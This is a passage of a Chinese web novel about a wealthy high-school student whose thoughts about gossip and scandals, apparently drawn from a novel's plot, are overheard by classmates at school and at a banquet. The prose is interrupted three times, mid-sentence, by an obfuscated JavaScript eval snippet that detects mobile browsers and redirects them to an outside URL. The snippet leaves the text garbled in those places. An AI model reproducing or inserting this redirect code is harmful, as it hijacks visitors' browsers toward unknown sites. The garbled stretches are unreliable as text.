“赔你鞋啊。”顾央抬头,勾了下嘴角,“怎么?难道还需要我把你的鞋给舔干净。” 这句话骇得丁子雨脸都白了,就算借他一万个胆子,他也不敢让顾央给他舔鞋,慌乱中他居然真的打开了自己的付款界面。 打钱的时候顾央心里还有点小遗憾。 其实他还挺想演一演小说里用钞票砸人的场景,但根本没有带那么多现金。 直到收钱到账的提示响起时,丁子雨才后知后觉反应过来自己到底干了什么样的蠢事。 他就算再缺钱,也不能拿顾央的钱啊。 他僵硬地转过头,却恐慌地发现聂瑛的脸色阴沉得吓人。 这究竟是怎么回事?从刚才起就太奇怪了,他们两个就好像在他看不到的频道里已经交流了一波,弄得他现在根本get不到聂瑛的怒点在哪里。 丁子雨欲哭无泪,夹在两尊大佛之间却吱都不敢吱一声。 他是不知道,但还在看戏的十一班人却提起了心。 他们完全知道现在发生了什么,所以预见了一场即将展开的大战。 这还跟以前的级别都不一样,以前顾央顶多是阴阳几句,现在直接贴脸开大,虽然本人并没有这个意识。 聂瑛一定会直接上手吧,那个暴力狂。 班长脸上的笑意已经淡了下去,他拨开最前面几个人,打算适时介入。 但在众目睽睽之下,聂瑛并没有如他们所想的那样直接上手,他缓缓地,磨着牙露出了一个森然的笑容,那冰冷的目光根本不像是在看平等的人,而像是在看个什么摆件一样。 “这么多人看着,我不和你计较。”他咬牙切齿地说道,“过两天我会亲自去顾家拜访,到时候我们再好好清算清算。” 说罢,他径直离开了这里,没有再管任何人。 直到这尊大佛终于离开,在此的人才终于松下口气。 「吓我一跳,刚才聂瑛那表情,我还以为他要一拳直接抡上去了。。」 「居然就这么走了?我瓜子都准备好了,就给我看这?」 「话说顾央刚刚心里的是什么意思,你们有谁听懂没有?」 「这这这,我就听到句爱的死去活来的什么之类……」 「啊?顾央喜欢宋引星?还爱的死去活来?真的假的?」 「你们是听话只听半句吗?顾说的不是,他稍微帮一把宋,就能让对方爱自己爱的死去活来。」 「我去,顾央这么自恋的吗?」 「不是啊,前面还说了有好几句来着,连不上啊……」 余白挠了挠后脑勺,整个过程进展太快太紧密,以至于他都有点听了前面忘了后面。 「我还听到了一个整成了蛇精脸?」 「emm,姓顾的是不是对宋引星一见钟情了?觉得就对方是清水芙蓉一朵,纯天然不做作,其他所有人包括在场的所有人在内都是蛇精脸的小妖精!」 「草,我就感觉顾央动不动就用那张脸在骂人,感情真看不起我们啊?老子可是妈生脸!污蔑,这纯纯是污蔑!」 「前面的@芋圆椰子冻,你的措辞依然很稳定发挥。」 「他前一句好像说什么被毁了未来……」 「嗯嗯嗯?什么意思?」 「呀,不会如果宋引星如果拒绝爱上顾央,就会被他动用顾家的势力毁掉整个人生吧?」 「就是那种绿江上经常有的,病娇少爷的强制爱戏码?」 一想到生活在自己旁边的同学居然还有成为一个病娇法制咖的潜力,十一班众人:“……” 卧槽,这么癫? 余白摸着下巴,又把刚刚的场景回味了遍,“那宋什么什么的,听着还挺耳熟?” “你是不是傻,宋引星,就是那个年级第一啊。”应家怡嫌弃地说道,“中考全市第一招进来的,连我都知道。” “哇,那真是很牛逼啊。” 余白很不走心地说了句,他对年级第一倒不怎么感冒,毕竟和他都不是一条道上的人。只是一旦加上顾央这个前缀,宋引星在他们这里的含金量瞬间就不一样了。 天,到底是什么样的神人,居然能让顾央铁树开花。 等大家在风中凌乱完毕后,他们终于回过神来,顾央又溜走了。 等等—— 刚刚顾央走的时候,貌似还把那个宋引星一起带走了。 顾央既然喜欢宋引星,那他把人单独叫走去,是想做点什么事情? 余白喃喃自语:“不会是要……要就地那、那啥吧?” 啪。 “当然不会。”班长将手搭在余白的双肩上,笑眯眯地稍微施了点力:“因为本校禁止未成年早恋。” 感受到一股迷之压迫感,余白流下冷汗:“班长大人威武,真不愧是我校行走的道德标兵。” “时间也不早了,马上就要放学了,你们也不要围堵在这里,省得被别的班看热闹。”班长看了眼腕表,“我去找阿央,你们回班里去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807858|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其他人虽然不舍得错过,但碍于班长的威严,也只能不情不愿地走回去。 -刚刚抵达教学楼背后小树林的顾央停下了脚步,他斜靠在一棵树背后,好整以暇后挑眉看向一直沉默跟在自己身后的宋引星。 他承认那个恶俗封面带给自己的刻板影响实在太深,以至于直到宋引星都站在自己面前了,他才注意到对方比自己高了快半个脑袋,身形即将跨过少年的界限,虽然清瘦,但投下来的阴影足够笼罩着他。 “什么事?”顾央问道。 宋引星沉默许久,那双黑曜石一样的眼睛幽深地看着他,才开口道:“钱我一定会还给你的,除此之外,我还欠你一次,你希望我怎么还。” 如果没有眼前这个人介入,他都没法想象今天会怎么收场。 “你欠我?”顾央重复了这句话,语调里牵着调笑,原话奉还回去,“那你想怎么还?” “……”宋引星抿了下嘴,“你有没有什么喜欢的东西?” “非要说的话,有潜力的股票,地段好的房产……”顾央还认真地思考了下,余光打量着对方僵硬的神色,用手轻轻点了点下颌,在微微拖长的声线下滑,勾到衬衫领结时才跟突然想起来一样,话中闪过一声细微到几乎捕捉不到的笑意,“……哦,对了,还有好看点的宝石。” 宋引星沉默地看着他。 顾央没忍住,破功直接笑出了声,他笑得真的很放肆,腰都直不起来,都不知道是哪句话戳到了他的嗨点,他一把揽过宋引星的脖子权当支撑。 “别露出这种表情啊,我跟你开玩笑的,我又不缺钱。”看宋引星的表情依然凝固,顾央随手用手背轻轻拍了下对方的侧脸,“不用你还了。” 宋引星被迫压低了腰去迎合对方的身高,但他也没有进一步被打乱节奏,而是沙哑着问出了心中的疑问:“你……为什么要帮我?” 顾央终于笑够了,他松开宋引星,“因为很有意思啊,这简直就是命运的安排啊。” 实在是太有意思了,如果这世界不是一本小说的话,如果宋引星不是这个悲剧故事的主角的话,他也就没有这个机会一窥那么多精彩的故事。 跟顾央毫无社交距离的动作和莫名其妙的话语比起来,宋引星冷漠地像个人机,只是垂着眼睛。 “阿央。”教学楼的拐角后面,一个人影走了出来,也不知道在那里站了多久,班长微笑着说道,“放学铃都响了,我们该走了。” 顾央脸上的笑意淡去,他收回搭在宋引星身上的手,转身朝拐角走去。 “对了。”班长又对宋引星微微一笑,“宋同学,今天的事,我会公平处理,给你一个交代的。” 顾央打着哈欠,走到了他的面前:“走了。” 班长对着宋引星礼节性地颔首,然后和顾央离开了这里。 宋引星分外幽深地注视着那离去的背影,拖长的影子在转入走廊后终于彻底被截断,但黏腻跗骨的视线却仿佛能够穿透墙壁。 许久以后,他终于嘲讽地笑了下。 ……公平啊。 5. 第 5 章 随着气温渐冷,天色也黑得早了很多,走到校门口的时候,昏暗的光线下,连建筑的轮廓都看不太真切。 “今天晚上的宴会,你去吗?”班长问道。 负责接送他的车早早地停在了门口,顾央拉开车门:“不去。” “还是那么干脆。”班长无奈地看他,“我猜你连今晚是什么事情都忘了吧。” “反正不想去。” “去去去。”余白不知道从哪里一个箭步窜了出来,一把抱住顾央搭在车门上的的胳膊,“为什么不去啊,这可是要迎接新同学诶,你这人也太冷漠了点吧。” “……接谁?” “你还记不记得,陆家要给那个刚刚接回来的双胞胎哥哥办接风宴,就在今天,放我家里的酒店办。”应佳仪也冒出来接话。 顾央的重点落歪:“又放你们家?你爸还挺热心的。” 应佳仪一噎,虽然她知道这句话没别的意思,但这也不妨碍她觉得顾央这人讲话真是无形之中自带杀伤力。 关键也没法反驳,自从她爸爸完全接管应家的产业以后,不知道为什么,这种上赶着替别人张罗的事情莫名就变多了。 说真的,她是觉得这样挺掉价的… “对啊反正就是这样。”应家怡破罐子破摔,架起顾央另一条胳膊,“所以给我个面子行不行,大少爷?” 这一左一右的架势跟押送犯人一样,顾央严重怀疑自己就算摇头,也会被这两货强行架过去:“…行。” 他跟司机眼神示意了下,然后把书包甩进关上了门。 余白和应佳仪对视一眼,露出了计划通的表情。 这种名流聚集的宴会,肯定就是片盛大的瓜田,他们当然要带上顾央吃个痛快。 他们要去的地方离学校很近,所以一行人干脆步行过去,路上他们闲聊。 “说起来陆家那个双胞胎到底是什么情况,要不是这个接风宴,我都不知道陆然还有个弟弟。”余白相当好奇。 “我也不知道啊,突然冒出来的。”应佳仪扯了下嘴角,“说是从小身体不好,所以养在乡下,现在才接回来。” “身体不好养在乡下?”余白没绷住,“认真的吗?就医都不方便。” “怎么可能?反正我不信。”应佳仪冷笑,“就算是真的,也不至于这些年提都没提过,我可从来没听说过陆家生的是双胞胎。” “那今晚这个人岂不是…”余白露出了大家懂得都懂的表情,“是那啥…” “好了。”班长温声打断他们的对话,“大家都是以后就是同学了,别还没见面就猜来猜去的。” 只有顾央一言不发,他的表情恹恹的,看着没什么精神,跟中午搭话时的兴致大相径庭。 但也没有人觉得奇怪。 因为家里生意上的往来,他们其实算是一个交际圈里的人,已经习惯顾央日常跌宕起伏的情绪,应该说,这才是他的常态。 等都到了门口时,顾央跟想起了什么似的,很轻地啊了一声。 “怎么了?”应佳仪问道。 “我空手进去会不会不太好。” “……”应佳仪无语地抿了下唇,这人的情商真是时有时无的,“没事,我也没准备。” 那个新接进来的陆家少爷,貌似挺不受人待见的。 说完她推开了大门。 宴会场上已经来了不少人,应佳仪直接扯着还在纠结礼物问题的顾央往里走。 “佳仪,你们来了。”应母看清进来的人后走了过来,温柔地招呼他们,“放学了一起过来的?” “应阿姨好。”余白满脸笑容,笑的时候露出了小虎牙。 班长也是礼貌地点头问好,还不动声色地把神游的顾央拽回来。 顾央的视线落在对方脖颈上缠了两圈的翡翠珠链上:“阿姨的这串项链,水头很好。” 面前的女人保养得当,一头乌黑的秀发盘在脑后,气质秀美而温婉。 “是吗?佳仪他爸爸给我买的。”应母掩嘴轻笑,“我不太懂这些,既然你都这么说了,那应该是了。” “我妈妈对珠宝没兴趣,架不住我爸非要买,说喜不喜欢是一回事,他的心意是另一回事。”应佳仪接话,在这个私生活混乱成为常态的圈子里,她父母和谐美满的婚姻生活堪称一段佳话。 但她马上就转移了话题:“陆家那个新接回来的到了没?” “还没有诶,按理来说也该来了,是路上太堵了吗?”应母摇摇头,她注意到旁边有位夫人举着酒杯,应该是在等她,神情略显局促。 “对了佳仪,你爸爸有事情要跟你聊,他在那里。”应母指了下方向,又跟顾央几个人说道,“那你们几个小朋友好好玩,反正点心桌上都有,有什么想吃的,跟服务员讲一下让厨房做。” 说完之后她去忙自己的事情了。 “现在找我?有什么事这么急不能回家再说。”应佳仪抱怨了句,她还没来得及吃上口瓜,但也只能赶紧赶紧过去。 她前脚刚走,后脚就有人也端着酒杯凑上来。班长从侍者的盘里拿了杯橙汁,拍了下顾央的肩膀后,就把那个明显冲着他来的人引到一边去了。 这种性质的宴会基本就是一群人来去虚与委蛇的,所以顾央一向不喜欢参加。 因为一旦参加,势必会有人找他尬聊。 下一秒,顾央就面无表情地跟沈铭君四目相对了上。 沈铭君明显也不想跟他见面,但被父母硬压过来没有办法,笑得相当僵硬,一副抵触的样子。 顾央也懒得搭理他,只是敷衍地应了沈父几句话,左右就是长辈寒暄那一套,他都总结出了套模板,能在放空的情况下加载出语音包。 他的目光落在端庄微笑的沈夫人身上。 【这就是沈山抛弃原配也要出轨的小三?】 【好像是叫宋音音来着。】 沈铭君的脸色勃然大变,周围传来几声毫不遮掩的嗤笑。 他刚要说话,就被沈山一个隐含愠怒的眼色给制住。 直到离开这里的时候,他的心脏还在剧烈地跳动个不停,完全不知道发生了什么的沈山满脸不悦:“你跟顾家那个小鬼有什么过节吗?” “没、没什么啊。”沈铭君咽了口口水,佯装无事。 “是吗?可你刚刚的脸色差到都要甩人家脸上了,当别人眼瞎吗?”沈山厉声说道,“我不管你们之间发生了什么,你赶紧把人给我把人哄好了。” “爸!”沈铭君急了,“为什么非得讨好他,顾央算个什么东西,你不是也说了,顾氏集团轮不到他来继承?” “那又如何,再怎么样他也是顾氏的大公子,要不是我费劲心思把你塞进去,你这辈子都够不到他。”沈山冷笑一声,嘲讽地自语道,“哼,连我都讨不到一个好脸色……” “总之,我不管你用什么方法,有时间去讨好郑家那个丫头,还不如把这力气用对地方,郑家还不够格当我们的跳板,我可不希望我当初选错了人。” 听到自己的小心思被父亲毫无情面地戳破,沈铭君差点牙都咬碎了,但他不敢反驳。 沈山离开后,他母亲将手搭在他的肩膀上:“别放在心上,你爸说话一直这样。” 女人望着那个远去的背影,幽幽说道:“年轻时就这样,老了以后更严重了。” “你都知道,为什么要挑这种人过日子?”沈铭君恼火地说道。 “难道我还有更好的选择吗?”宋音音反问道,她的长相娇美,保养的又得当,从外表完全看不出有个读高中的孩子,质问的样子也给人一种楚楚可怜的感觉。 “再说,这不仅是我选的,也是你选的。” 但听到这话,沈铭君的脸色瞬间就晦暗下来。 见他这样,宋音音连忙放软态度转移话题:“好了,你也不用急着今天就跟顾家的少爷和好,这事也急不得。” “阿舟今天也来了,你们表兄弟好久没见,他成绩好,你平时学不来的地方,可以多问问他。” 成绩成绩,成绩再好有什么用,他还不是得给顾央赔笑脸。 沈铭君抿着嘴不说话,他怨毒的表情隐忍地投向不远处的顾央,像条蛰伏的毒蛇。 “怎么了?”余白问道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807859|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “突然感觉有点冷,这个厅漏风吗?”顾央嘀咕了句。 “最近有冷空气,要大降温了,夜里只会更冷,是你穿太少了。”余白给顾央拿了杯暖姜茶。 “我都说了不想来,还不是你们非要架着我。”顾央接过了茶,微烫的温度从掌心传来,他懒洋洋地低头喝了口,“和一群半生不熟的人硬聊,东西都吃不下了。” “你这话说的,你是没看到没你在的地方沈山怎么拿鼻孔看我的,哇,我还真不知道他居然说话能这么温和。”余白唠唠叨叨,“真是上梁不正下梁歪,什么样的人生什么样的儿子。” “不过也是,这种宴会我们家都没被邀请,要不是佳仪,我也进不来这地方。”余白说着说着就把手搭在了顾央肩膀上,“要是放抓马点的小说里,我不得被闲得没事干的恶毒炮灰各种阴阳,然后破防。” “没事,你脸皮厚。“顾央刚挑开余白的手,下一秒又被人给围住强行刷了波脸。 谈完事回来的应佳仪满脸黑气,秉承着闺蜜情,余白连忙问发生了什么。 “我爸啊。”应佳仪烦躁地吐槽,“我本来不是要去找他吗?刚好他在跟别人聊天。” “你猜我听到了什么?他也不知道是哪根筋抽着了,居然给我物色了个对象。” “啊?这么早就开始催婚?”余白傻眼,“你们家是有什么封建的家规吗?” “我都懒得吐槽了,别人家的父母都生怕自己孩子高中早恋,他倒好,巴不得赶紧把人定下来。” “关键他找的那个人,好像也就是个高中生,都不知道哪里看出来能力很强,说以后也好放心把公司交给他了。那男的我还在家里见过好几次,说是我爸高中同学的孩子,我当时还没多想。” “不是,我是死的吗?还要找个男的给我管公司。” “我去,你爸也挺奇葩啊。”余白也觉得槽点满满,“那咋办?” “不知道啊,太无语了我就先回来了,不想跟他讲话。” “咦,等一下……”余白眼睛一转,他一把扒拉过刚刚应付完的顾央,揽过对方肩膀。 余白:“你知道吗?家怡父母给她找了个相亲对象,叫喻舟,她看了那是一见钟情,此生非男的不嫁,并且打算少走十年弯路,大学读个家政专业,成为他的贤内助,为他洗衣做饭成为他成功事业背后的女人。” “家怡说到时候结婚了请我们坐主桌,见状一下他们绝美的爱情。” 顾央原本冷漠营业的表情发生变化。 他先茫然消化了几秒钟,接着摆出一副见鬼的样子,然后上上下下把应佳仪从头扫到尾,在这期间脸色逐渐回归漠然和嫌弃,最后送上一句祝他们幸福。 应佳仪:“……” 玛德,好气哦。 她知道余白在打什么主意,过了几秒后,她设想的声音如愿响了起来。 【喻舟……】 【嗯?这不就是个一心想吃软饭的凤凰男吗?应佳仪是眼瞎了吗居然能够喜欢上这种货色,她真该去洗洗眼睛了。】 都还没来得及生气顾央蛐蛐她的那几句话,应佳仪眼神一凛。 什么凤凰男? 【应佳仪她妈找的就是个凤凰男,这看男人的眼光还带遗传的?】 应佳仪眉头一皱,她爸确实就是个穷小子,没什么背景,而她妈妈是应氏集团的大小姐,所以当初妈妈公开对象时,他们圈子里都对这门感情大多不看好。 即使后来她的爸爸用真心和时间打动了外公外婆,外界的风言风语从来没有断过。 但婚姻本来就是关上门经营的,她只要知道,她的爸爸是个好丈夫,也是个好父亲,这样就行了。 余白看着应佳仪的脸色,尴尬地讪笑了下,这事是他太莽撞了,本来应该找机会私下试,这地方一眼望过去全是熟人,这弄得把人家架出来公开处刑了。 【这个喻舟也是人才,居然能够说出三代还宗这种话来。 【提议让他和应佳仪生的孩子,也就是赘婿的孙子随赘婿姓刘,以弥补对方没有自己后代香火的遗憾。】 【……牛逼。】 6. 第 6 章 “卧槽——” 字正腔圆的国粹被余白脱口而出。 顾央看着对方突发恶疾,用手点了点自己的脑袋表示关心。 “没事没事,想到了点事情而已,你继续。”余白赶紧摇头,给自己的嘴巴做了个缝拉链动作。 顾央也没多想,继续看自己的八卦。 【那喻舟还是赘婿当年上高中时候的白月光生的,赘婿高中有个一见钟情的女神,他之所以要促成这门婚事,三代还宗是一方面。】 顾央毫无感情地念着如下文字: 【对于刘朝尹而言,当年没能和宋琴琴在一起,是他毕生的遗憾,他对她的爱是这样的刻骨铭心,就算是他们此生没有了在一起的缘分,他也希望他们的孩子能够再续前缘。】 【哈哈哈。】 「我去,你们说顾央刚说的是真的吗?」 十一班里在场的人不少,群聊又瞬间活跃了起来。 「三代还宗。。我天,好小众的词啊。」 「应佳仪她爸也太不要脸了吧?」 「我记得刘朝尹好像是自愿入赘的,而且也承诺生下来的孩子会姓应,所以应家才会把他扶成集团总裁,这位置才坐稳几个月啊,心就也起来了,还打这种小算盘,真是上不得台面的东西。」 「程子文,好歹是长辈呢,你也不嘴下留情点,说到底是人家的家事,我们应大小姐可不会感激你帮她骂自己爸爸的哦。」 「你少煽风点火的,叶郴,家狗还知道是要帮着主人叫,你在那里东嚎一嗓西吠一声,别人看了只想踹死你。」 「程子文,你这个□□。。」 「诶呀呀,怎么还吵起来了,大家都是同学,别这样伤和气啊^_^,而且我们现在该关心的不是小应的问题吗?」 「……你们能不能都闭嘴?真想聊就自己拉群,别碍着我眼睛。」 应佳仪打完这段字后就不再看手机,她的脸色冷若冰霜,看不出任何动摇的痕迹。 但实际上她的内心远没有那么坚强,过强的冲击力让她的头脑一片空白,不管是哪方面的情感都还没来得及涌上来,但身体却生理性地感到恶心和作呕。 开什么玩笑,究竟是什么样的人呢,才能自私到拿自己女儿的后半辈子,去弥补曾经的遗憾。 况且他这样做,到底把妈妈置于何地? ……不对,不对。 顾央说的又不一定是真的! 他们两家关系也没好到这个程度啊,凭什么他能够知道的比她还多? 群里同样有人在质疑这件事的合理性。 「等一下,顾央说的到底是真的假的?」 「对啊,我也在思考这个问题,你觉得呢?@沈铭君」 这波贴脸弄得沈铭君一口牙都要咬碎了,偏偏他又窝囊得一句骂人的话都讲不出口。 因为至少,今天中午的那些东西,全部!都!是!事!实! 「顾央脑子一直都不正常,他说的东西你们也信,真是无语。」 「诶诶,都是同班同学,禁止人生攻击,我要罚你了哦^_^」 下一秒,正啪啪往对话框里打了一大段文字的沈铭君发现自己发不出去。 草,贺明安那混蛋居然禁了他的言。 余白秉持着什么臭脚都要捧一遭的操守接了条:「班长大人真是威武(海豹鼓掌.jpg) 沈铭君气得不行,连脸都涨红了,他和余白家的公司来往紧密不好翻脸,又不敢和贺明安杠上,怨念就全部倾注在了罪魁祸首的顾央身上。 客观来说,在这个班级里他的家世排不上什么号,但只论学习却相当出挑,真要较真起来,在座所有人不都是来读书的,所以他虽然面上不显,但心里一直都有隐隐的优越感,看不起这群来混日子的人。 而在这其中,他最看不上的就是顾央。 但偏偏就因为这个人,害得他在班里头都抬不起来,就算没有人当着他的面说什么,沈铭君也觉得那些低声的碎碎念都是在嘲笑自己! 突然间,他心念一动,去通讯录找到一个被他备注小陈的人。 聊天界面上满屏都是对方输入的文字,一口一个少爷叫得那是一个热切。 这人就是他们公司的员工,沈铭君之前被巴结着加了个好友,之后也没怎么理会,没想到现在倒是有了用武之地。 沈家的公司就是舆情公关领域的,顾央敢让他颜面大失,他怎么能不好好回赠一份礼物呢? 打字的功夫里,宋音音扯着他的袖子轻声提醒:“铭君,你表弟往这里走了,你别低头玩手机啊,跟他打个招呼啊。” “能不能别一口一口一个表弟表弟的,这么喜欢,不知道的还以为他才是你的亲儿子。”沈铭君本来就烦,当下直接讽刺。 随着宋音音眼神示意过去的方向,一个穿着蓝白校服,长相斯文俊秀的男生正在和另一个西装革履的男人交谈甚欢。 喻舟。 他母亲妹妹的儿子,比他小了几个月,读的是同一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14807860|158550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 届,从辈分上来说算是他的表弟,但平时很少来往,所以关系只能算是一般。 沈铭君本来对这个表弟也没多大观感,毕竟一年也见不到几次,只是对方的成绩比自己好上很多,平时少不得被沈山拿来作为损他的筏子。 喻舟也看到了他,带着笑容和他点了点头,但也没停下来寒暄,而是跟着身边那个男人急不可耐地往前走。 他们走向了应家怡和顾央所在的方向。 虽然上一秒还在因为自己被落面子而恼火,但望着喻舟的背影,他心里却生出一股扭曲的快意,差点没忍住就要笑了出来。 只有亲自栽过坑的人才会知道这坑到底有多坑。 他等着喻舟在顾央那里颜面大失! 居然还想攀豪门,哪来这么大自信? 简直就是不要脸! 【这个赘婿白月光看起来倒也挺精彩的,她应该不至于就这点戏份吧。】 饶有兴致的声音还在跟催命魔鬼一样响起来,沈铭君心里一咯噔,不知怎的突然涌上股不详的预感。 【嗯?这都能扯到沈铭君身上来?】 沈铭君手上一抖,几欲呕血。 不是,你爆喻舟的瓜就爆,又扯他干什么? 顾央一目十行地翻阅了下:【按这个逻辑来说的话,那个喻舟,不就是沈铭君同父异母的亲兄弟吗?】 啊? 啊??? 吃瓜群众满脸茫然,由于太过跳跃,一时间都没整明白到底是怎么个事。 沈铭君惊呆了。 什么跟什么,他和喻舟不是表兄弟吗?怎么就同父异母了?他们之间的血缘联系不是在两边妈妈那里? 错乱之间,他的目光和同样满脸空白的应佳仪对上,久久没有挪开。 “佳仪,你这孩子真是的,我不是让你来找我吗?”西装革履的男人走到应佳仪面前,他嘴上虽然说着埋怨的话,但语调却温和宠溺。 “这孩子是喻舟,是你我高中同学的儿子,他之前还来过我们家,不知道你还记不记得。” 喻舟嘴角噙着笑意,和应佳仪礼貌地打招呼。 “他没参加过这种场合,我就想着让你照顾一下,”刘朝尹笑着说道,“和你们还是同龄人呢,想来可以聊得来。” 一时间无数道焦灼的目光落在这个男生身上,应佳仪的脸色瞬间阴沉了下来。 与此同时,熟悉的心声响起,顾央挑了下眉。 【噢?这就是那个赘婿二代?】 7. 第 7 章 「……能不能来个人救一下。。」 发在群里的消息无人回应,应佳仪深吸一口气放下手机,麻木地继续面对来自喻舟春风化雨般的热情。 “佳仪,你饿不饿,我去那边桌子上给你拿块蛋糕吧。”喻舟笑着问道,不知不觉就在称呼上拉进了距离。 “好啊,那谢谢你,赶紧去吧。”应佳仪凉凉地说道,看着喻舟如鱼得水地向侍者询问那些蛋糕的口味,然后接过瓷盘仔细挑选,期间还能和同样在挑蛋糕的几位小姐搭上几句话。 虽然原本的说法是让应佳仪帮忙照顾一下初次来到这种宴会场合的喻舟,怕人家小孩看周围都是不认识的人,觉得局促。 但这到底哪里需要她来照顾了? 说真的,她真的挺佩服这种人的,她相信但凡有这个脸皮,不管做什么都会成功的,为什么非得在她这颗树上吊死? 她看起像是这么傻白甜好拿捏的人吗?是她抗拒的姿态还不明显吗? 救命,这天底下怎么会有这么厚脸皮的人? 趁着这个间隙,她一手一个把那两个站着看戏的扒过来,咬牙切齿。 “这男的都快贴到我眼前了,你们都不拦着点?” 顾央小声问道:“不是爱他爱到无法自拔吗?” “滚…余白的话你也信。”应佳仪深吸了口气平复心情,她不是故意想摆脸色,这种事不符合她的教养。 但看着喻舟,总觉得他左脸写着吃软饭,右脸写着凤凰男,横批三代还宗,根本没法好好聊一点。 “我出去透口气,你们两个谁看着发挥一下帮我解决掉。” “那当然是得我们顾哥。”余白赶紧极力推荐,“肤白貌美家世好,竞争力杠杠的。” 应佳仪觉得相当有道理,于是拍拍肩膀,无视对方完全没有干劲的表情,将这个重任委托过去。 恋恋不舍和那几个小姐告别后,喻舟端着一碟小蛋糕回来赶紧回来了。 他还没忘记今天的首要任务,可不能顾此失彼。 但他才转过身,就看到应佳仪和他旁边两个男的靠的很近在埋头说些什么。 他原本春风得意的脸瞬间拉了下去。 但还没等他走回去,应佳仪直接离开大厅了。 “佳仪刚刚出去了,这些蛋糕你就留着自己吃吧。”作为应佳仪的好闺蜜,余白的立场自然是相当一致,他看喻舟也是眼睛不是眼睛眉毛不是眉毛的。 “你们是佳仪的同学?”调整好心情后,喻舟脸上重新挂上浅淡的笑容,“看起来你们关系不错,刚刚在讲什么悄悄话呢?” “还行,普通朋友而已。”顾央对他回以微笑,顺便回答一下后半句,“也没什么,她托我好好照顾你。” 喻舟看着他这幅欲盖弥彰的做派,以及话语之中不经意流露出来的家属感,瞬间不是滋味起来,这股铺面而来的茶味让他无比牙酸:“那还真是谢谢你啊。” 顾央随手挽了下侧脸边上过长的碎发:“分内的事,没必要谢。” 喻舟盯着顾央的手腕,不经意间露出来的碎钻底托鸽血红宝石手链刺痛了他的眼。 他知道应佳仪读的是学费很高的私立高中,所以她的同学肯定也是非富即贵。 虽然刘叔叔和他在私底下已经达成了共识,要将自己的独女嫁给他,但喻舟在这一刻还是感受到了浓浓的危机感。 毕竟对于豪门而言,强强联合才是更常见的事情。 ……更何况这小子,长了一张很讨女人喜欢的脸。 喻舟心里酸得要命,偏偏脸上还要装出一副亲和样拉着顾央聊天,转弯抹角地探对方的底。 “小舟,你站在这里干什么?”一个穿着白色抹胸礼裙的女人走了过来,“我刚刚看应小姐在外面,你怎么……” 女人的话还没说完,就被喻舟皱眉的眼神止住了话头。 “这是我的妈妈,她不太习惯这种环境,所以有点会担心我。”喻舟先是简单介绍了下,然后拉着他妈妈离开了原地。 顾央也没说什么,只是余光掠过了那个女人戴在脖子上的翡翠吊坠。 这是他今晚看到的第二件了。 种水还挺像的。 说起来喻舟的妈妈,好像在原著里也有点戏份……是叫宋琴琴吗? “妈!”远离顾央后,喻舟声音瞬间低沉下来,“不是跟你说过了吗?在外面别提这个。” “什么提不提的,我就是想问你怎么不在应小姐身边。”女人呐呐地说道。 “刚刚在我旁边的那个是应佳仪同学,你说这种话,人家听了会怎么想?肯定会觉得我有所图。我都跟你说过了,有钱人心思可多了。” 喻舟心里窝火,但看到母亲尴尬的神色,忍不住又放缓了语气,“我刚刚是和应佳仪待在一起,但她没聊两句就自己走了,那总不能她到哪里我就跟到哪吧,显得我多上赶着一样。” “这倒是。”宋琴琴连忙附和,随即又忍不住埋怨,“那丫头性子也太独了点,自说自话的,就是家里宠坏了。” “我刚刚可看见了,还留那么长的美甲,这还怎么做家务……“ “妈,我们之前去应家的时候你也看到了,他们保姆都有好几个,你说这个干嘛?”喻舟失笑。 “那也不可能什么事都让保姆来,难道结婚了,还得让你伺候她?这像什么话…”宋琴琴嘀咕着。 这门婚事她满意是满意,但就是应家那个姑娘一看就不是个能体恤人的,她怕自己的宝贝儿子受委屈。 “应佳仪是独生女,有点脾气也正常,结了婚我让她慢慢改不就行了。”喻舟温和地说道,“也会让她好好孝敬您的。” 听了这话,宋琴琴才算舒心地抿嘴笑了出来。 她丈夫死得早,因为吊着个拖油瓶,所以后来相看的人条件都一般,她看不上眼,就一直拖拖拉拉没有再婚,直到年前遇到了刘朝尹。 她倒是没想到,那个曾经高中时追求过她的,从相貌到家境都一无可取的男生,居然摇身一变,成为了上市集团公司的老总。 而当年那个青涩的男生似乎对她还抱着点说不清道不明的意思。 她一向是个会抓住机会往上爬的人。 很显然她的儿子也是。 “朝尹,你有在听我说话吗?”应夫人轻声问道,将丈夫明显放空的思绪拉了回来。 “抱歉,刚刚是没有在听,我最近好像有点太累了,也许是因为公司的事情。”刘朝尹也没有嘴硬,而是带着歉意的微笑将手搭在她的手背上,“你想跟我说什么?” 应夫人张了张嘴,原本想和丈夫聊一下有关女儿的事情,最终还是没有说出口:“也没什么,累了的话,晚上回去早点休息。” 